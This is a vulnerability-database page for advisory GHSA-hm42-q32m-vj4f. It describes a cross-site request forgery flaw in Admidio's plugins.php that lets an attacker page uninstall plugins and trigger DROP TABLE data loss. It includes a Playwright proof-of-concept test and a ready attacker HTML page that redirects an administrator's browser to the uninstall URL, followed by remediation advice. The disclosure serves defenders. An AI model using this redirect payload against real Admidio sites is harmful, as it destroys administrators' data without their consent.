EUVD-2026-71630
GHSA-hm42-q32m-vj4f
Severity by source
AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L
PR:H reflects that only an admin-session victim enables impact; UI:R captures required navigation; I:H for irreversible DROP TABLE data loss; A:L for plugin disruption; C:N as no data is disclosed to attacker.
Primary rating from Vendor (https://github.com/Admidio/admidio).
CVSS VectorVendor: https://github.com/Admidio/admidio
Lifecycle Timeline
2DescriptionCVE.org
Summary
The modules/plugins.php endpoint handles plugin installation, uninstallation, and update operations via GET requests without CSRF token validation. Because these are top-level navigations, browsers include SameSite=Lax session cookies. An attacker crafts a malicious page that, when an authenticated administrator visits it, triggers arbitrary plugin operations. The uninstall operation executes DROP TABLE SQL scripts and destroys plugin data.
Details
modules/plugins.php reads the mode (install, uninstall, update) and name parameters directly from $_GET:
// modules/plugins.php
$mode = admFuncVariableIsValid($_GET, 'mode', 'string');
$pluginName = admFuncVariableIsValid($_GET, 'name', 'string');The file contains zero calls to SecurityUtils::validateCsrfToken(). Other administrative operations in the same codebase (such as the save mode in preferences) validate CSRF tokens correctly.
Because the operations use GET requests, modern browsers send SameSite=Lax cookies on top-level GET navigations (link clicks, redirects, window.location assignments). A cross-origin page triggers these operations by navigating the browser to the vulnerable URL.
The doUninstall() function is the most destructive path. It executes SQL scripts from the plugin's db_scripts/ directory, which contain DROP TABLE statements:
// modules/plugins.php - doUninstall()
function doUninstall($pluginFolder) {
// Reads and executes SQL from $pluginFolder/db_scripts/uninstall.sql
// Contains DROP TABLE statements
}Proof of Concept
The following Playwright test demonstrates a cross-origin CSRF attack. An attacker hosts a page on a different origin that redirects an authenticated administrator's browser to the uninstall endpoint:
// playwright-csrf-poc.js
const { test, expect } = require('@playwright/test');
test('CSRF plugin uninstall via cross-origin redirect', async ({ browser }) => {
const context = await browser.newContext();
const page = await context.newPage();
// Step 1: Admin logs in to Admidio
await page.goto('https://admidio.example.com/adm_program/system/login.php');
await page.fill('#usr_login_name', 'admin');
await page.fill('#usr_password', 'password');
await page.click('#btn_login');
await page.waitForURL('**/overview.php');
// Step 2: Admin visits attacker-controlled page on different origin
// The attacker page contains:
// <script>window.location = 'https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall&name=birthday';</script>
await page.goto('https://attacker.example.com/csrf.html');
// Step 3: Browser follows redirect with SameSite=Lax cookies
// The birthday plugin is uninstalled, its database tables dropped
await page.waitForURL('**/plugins.php*');
// Verify the plugin was uninstalled
await page.goto('https://admidio.example.com/adm_program/modules/plugins.php');
const content = await page.content();
expect(content).not.toContain('birthday');
});Simplified attacker page (csrf.html hosted on attacker origin):
<html>
<body>
<script>
window.location = 'https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall&name=birthday';
</script>
</body>
</html>When an administrator visits this page, the browser navigates to the Admidio uninstall URL with full session cookies, and the server uninstalls the birthday plugin.
Impact
An unauthenticated attacker tricks an Admidio administrator into visiting a malicious web page (via phishing, forum post, or embedded content) that performs plugin operations without visible indication. The uninstall operation executes DROP TABLE statements, causing irreversible data loss. The install operation activates plugins with known vulnerabilities. The update operation disrupts plugin functionality. The victim only needs to visit a single page.
Recommended Fix
Switch plugin install, uninstall, and update operations from GET to POST requests. Add SecurityUtils::validateCsrfToken() checks to all state-changing operations in modules/plugins.php, consistent with the pattern used elsewhere in the codebase.
--- *Found by aisafe.io*
AnalysisAI
Cross-site request forgery in Admidio's plugin management endpoint (modules/plugins.php) enables a remote attacker to trigger destructive plugin operations - including irreversible DROP TABLE SQL execution - against any authenticated administrator who visits an attacker-controlled web page. The endpoint processes install, uninstall, and update operations via unauthenticated GET requests lacking CSRF token validation, and SameSite=Lax cookie behavior causes browsers to automatically include session credentials on top-level GET navigations from cross-origin pages. A working Playwright-based proof-of-concept is publicly available demonstrating the full attack chain; no confirmed active exploitation (CISA KEV) is present at time of analysis.
Technical ContextAI
Admidio is an open-source PHP-based community management platform (pkg:composer/admidio_admidio). The root cause is CWE-352 (Cross-Site Request Forgery): modules/plugins.php reads mode (install, uninstall, update) and name parameters from $_GET and executes the corresponding plugin lifecycle operation without any call to SecurityUtils::validateCsrfToken(). Because these are state-changing operations triggered via GET requests rather than POST, the RFC-compliant SameSite=Lax cookie policy in modern browsers does not block them - top-level GET navigations (link clicks, window.location assignments, HTTP redirects) are explicitly permitted to carry Lax cookies even from a cross-origin page. The most destructive code path is doUninstall(), which reads and executes SQL scripts from the plugin's db_scripts/ directory; those scripts contain DROP TABLE statements, making data loss irreversible. Notably, other administrative operations in the same codebase - such as the preferences save mode - do correctly call SecurityUtils::validateCsrfToken(), confirming the fix is known and feasible.
RemediationAI
Consult the vendor advisory at https://github.com/Admidio/admidio/security/advisories/GHSA-hm42-q32m-vj4f for the patched release version, as no specific fix version number was confirmed in the available data. The vendor-recommended fix is to migrate plugin install, uninstall, and update operations from GET to POST requests and add SecurityUtils::validateCsrfToken() validation to all state-changing modes in modules/plugins.php, consistent with the CSRF protection already in place for the preferences save mode. As an immediate compensating control pending patch deployment, restrict Admidio's admin panel to trusted IP ranges via web server or firewall rules - this prevents cross-origin CSRF delivery while causing no functionality loss for admins on known networks. Alternatively, enforcing SameSite=Strict on session cookies (if configurable) would block the Lax-cookie cross-origin navigation vector entirely, though this may break legitimate cross-site admin workflows. Administrators should also avoid clicking external links while logged into Admidio. Do not expose the admin panel to the public internet without at minimum IP restriction.
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
Same weakness CWE-352 – Cross-Site Request Forgery (CSRF)
View allShare
External POC / Exploit Code
Leaving vuln.today